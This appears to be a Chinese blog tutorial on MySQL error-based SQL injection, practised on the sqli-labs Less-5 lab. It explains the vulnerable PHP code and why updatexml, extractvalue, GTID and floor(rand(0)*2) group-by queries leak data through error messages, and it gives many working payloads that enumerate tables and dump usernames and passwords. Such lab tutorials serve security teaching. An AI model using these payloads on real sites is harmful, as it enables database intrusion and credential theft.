之前我在这篇文章SQL注入基础思路讲解了联合查询注入,使用union关键字,在数据的返回位置进行数据查询,所以这里我们对上面这篇博客进行补充:报错注入
这里我使用sqllabs第五关进行演示,首先,报错注入它的应用场景便是基于当前页面存在注入点,却没有返回任何数据的位置,使用union进行联合查询无效,无法显示数据,但是能回显出对数据库的报错信息,这时我们采用报错函数对数据进行读取注入:
这里我们可以在后台查看下源码,逐行说下
# 首先这里定义了SQL查询语句,从名为users的数据库表中选择所有列,id值就是给定的$id值
# 查询使用limit 0,1限制结果集只包含一条记录
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 这里执行SQL查询语句并将结果保存在$result变量中
$result=mysql_query($sql);
# 然后从查询结果中获取一行数据存储在$row数组中
$row = mysql_fetch_array($result);
# 这里主要判断是否成功获取一行数据
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
print_r(mysql_error());
# 主要这行代码,输出MySQL数据库错误信息
echo "";
echo '';
}
}
else { echo "Please input the ID as parameter with numeric value";}
http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
这里我们选择报错注入,所以也就涉及到了一个函数:updatexml
函数
我们使用的是updatexml注入报错,这里我们就要去想updatexml为啥会报错?
首先updatexml的函数格式为updatexml(xml_doument,XPath_string,new_value);
所以说这里我们需要认识到它三个参数的含义是什么?
好的,认识上面三个参数之后,其实这里我们还需要知道,我们使用updatexml(1,concat(0x7e,(select user()),0x7e),1)
为什么会显示出root@localhost
?
了解到第一个参数以及第三个参数其实这两个参数是可以随便写的,它只需要利用第二个参数,来校验你输入的内容是否符合XPATH格式。、
可能这里有人要问为什么要添加0x7e,这个是因为0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。如果不添加该不属于xpath格式的参数无法引发正确的报错。
所以这里我们就是利用updatexml函数的报错,来回显出我们想要查询出来的内容。好的,到这里我们一个报错函数的原理我们已经理解了,下面就是使用这个报错函数进行注入:
所以就老规矩,先查数据库名,再查表名,最后列名输出。
数据库名:
http://127.0.0.1/sqli7/Less-5/?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1)--+
表名:
http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+
http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
原理:
这里我们又看到查询回显内容很少,这里就因为updatexml报错最大只能容纳32个字节,所以这里我们就得想办法让它回显出所有内容,那么我们就要用到limit来分段显示:
http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+
原理:
到这里我们使用updatexml函数进行注入就已经完成了,下面我们来看看其他报错函数。
补充
对于报错注入回显限制问题我们共两个方案:
#1.用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置
and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+
#2.使用concat,利用limit(起始位置,截取数量) 函数进行结果截取(还是有可能回显到长度大于限制的数据导致无法显示,不推荐)
and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+
这里注入思路就和一里面一样,SQL语句内部差不多,所以这里不过多赘述。
(如果里面有过滤还需绕过进行注入)
1、updatexml
updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数
使用方法:
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数
使用方法:
http://127.0.0.1/sqli7/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+
3、ST_LatFromGeoHash()(mysql>=5.7.x)
?id=1' and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+
4、 ST_LongFromGeoHash(mysql>=5.7.x)
?id=1' and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+
5、GTID (MySQL >= 5.6.X - 显错<=200)
GTID:GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的。
GTID_SUBSET() 和 GTID_SUBTRACT()函数可以拿来实现报错注入
函数原理:
#GTID_SUBSET函数
gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
#GTID_SUBTRACT函数
gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
6、ST_Pointfromgeohash (mysql>=5.7)
?id=1' and ST_PointFromGeoHash(version(),1)--+
(select 1 from (select count(*),concat(回显查询位置,floor(rand(0)*2))x from information_schema.tables group by x)a)--+
')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
floor是mysql中的函数,而报错注入则是结合了这几个函数:groupby+rand+floor+count完成的注入。
floor报错注入就是利用 select count(*),(floor(rand(0)*2))x from table group by x,导致数据库报错,通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。
下面我们来回顾下这几个函数:count、group by、floor、rand
rand()可以产生一个在0和1之间的随机数
直接使用rand函数每次产生的数则不相同,但是如果我们提供了一个固定的随机数0之后:
这里我们可以看到值是固定的如果提供一个固定的0,这个随机数也可以称为伪随机(产生的数据都是可以预知的),我们这里可以查看多个数据:
这里我们可以看到产生第一次的随机数与第二次是完全一样的,好的,知道了rand函数我们下面看floor函数与rand函数配合使用。
首先floor函数作用就是返回小于等于括号内该值的最大整数。
同时,rand函数则是返回一个0到1之间的随机数,所以,floor(rand(0))产生的数只有0,这样也就不能实现报错了,所以这里我们需要乘以2,下面我们在数据库中查看下:
这样我们便可看到全为0,无法完成我们的报错,所以下面我们乘以2,使其返回0到2之间的随机数,然后配合floor()就可以产生确定的两个数,也就是0与1,如下图所示:
这里我们便可看到,它产生了一串固定的随机种子数列,为0 1 1 0 1 1 0 0 1 1 1 0 1,当然了光这两个函数配合还是无法实现我们的报错注入的,所以下面我们接着看group by函数。
首先group by主要是用于对数据进行分组的,即相同的为一组。
下面我们来简单看下:
以上是users的原表,下面我们进行分组,同时使用别名来代替属性:
同时也可以省略as:
然后使用group by函数进行分组,按照x进行排序,同时需要注意的是最后x这列中显示的每一类只有一次,前面的a的是第一次出现的id值:
count(*)统计结果的记录数
这里可以进行统计总共的数值,如下图所示:
这里就是对重复性的数据进行整合,然后计数,x为某一类的数量。
select count(\*),floor(rand(0)\*2) x from users group by x;
这里我们根据前面几个函数来理解这个语句的意思,原本意思是统计后面产生随机数的种类并每种数量。分别产生我们可以在上面知晓。
产生的随机数:0 1 1 0 1 1 0 0 1 1 1 0 1
理论输出:
0 5
1 8
0是5个,1是8个,但是它最后却产生了错误,下面我们进行报错分析。
首先MySQL遇到该语句时,会建立一个虚拟表,这个虚拟表有两个字段,一个是分组key,一个是计数值count()
,也就是对应于实验中的username
以及count()
。
然后在查询数据的时候,首先需要查看虚拟表中是否有这个分组,如果有,那么计数值加1,如果没有那么就创建一个这样的分组。同时,根据MySQL
官方文档,在查询过程中如果使用rand(),那么这个值就会被计算多次。
**即为若使用group by
,floor(rand(0)*2)
会被执行一次,如果虚拟表不存在记录,插入虚表的时候会再被执行一次,我们可以看下floor(rand(0)*2)
报错过程,原本floor(rand(0)*2)
查询的值是固定的,而报错实际上是floor(rand(0)*2)
被多次执行导致的,**如下:
1、查询前默认会创建空虚拟表如下:
2、取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算)
3、查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕
4、查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算)
5、查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕:
6、查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算)
7、查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,1作为虚表的主键,其值为1(第5次计算),插入
到这里,我们会发现1这个主键已经存在过虚拟表中了,而新计算的值为1,之前我们已经有1了,这就与MySQL的主键值必须唯一相违背,所以就会报错。
整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要最少3条数据,使用该语句才会报错的原因。
另外,要注意加入随机数种子的问题,如果没加入随机数种子或者加入其他的数,那么floor(rand()*2)产生的序列是不可测的,这样可能会出现正常插入的情况。最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。
这里我们可以1来作为随机数种子,如下:
最后还需注意的是,我们采用报错注入从数据表中读取了三条有效的数据,如果有效数据不足三条的话,也是无法触发floor报错信息的。